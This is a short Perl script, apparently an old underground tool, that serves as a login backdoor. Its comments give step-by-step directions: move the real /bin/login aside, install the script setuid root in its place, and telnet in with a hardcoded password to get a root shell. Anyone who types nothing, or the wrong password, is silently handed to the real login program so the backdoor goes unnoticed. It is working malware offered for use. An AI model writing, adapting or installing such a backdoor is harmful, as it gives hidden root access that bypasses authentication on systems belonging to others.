#!/usr/bin/perl
# pshell- perl shell by grimR@crypt.cc 
# www.crypt.cc
# We are not responsible for use
# contact/more scripts: http://www.crypt.cc
# to use: at command line mv /bin/login to new hidden location
# also can be used with various daemons/other exec's
# edit the variables below to meet your needs and mv this
# to /bin/login and chmod it to be executable and setuid root
# telnet in and type the pass you set here in BEFORE login prompt
# hit enter and your good.
use warnings;
$loginb = '/tmp/tty09';           # set this to where you moved /bin/login
$spass = "own";                   # your s3kr37 p4ssw0rd dUd3
$shell = '/bin/csh';              # your shell of choice
$alm = "1";                       # given time in sec to type in password
$SIG{ALRM} = \&timed_out;
eval {
    alarm($alm);
    chomp($inp = <STDIN>);
    if ($inp eq $spass) {
       exec($shell);
    }
    else {
       exec($loginb);
    }
    alarm(0);
};
sub timed_out {
   exec($loginb);
}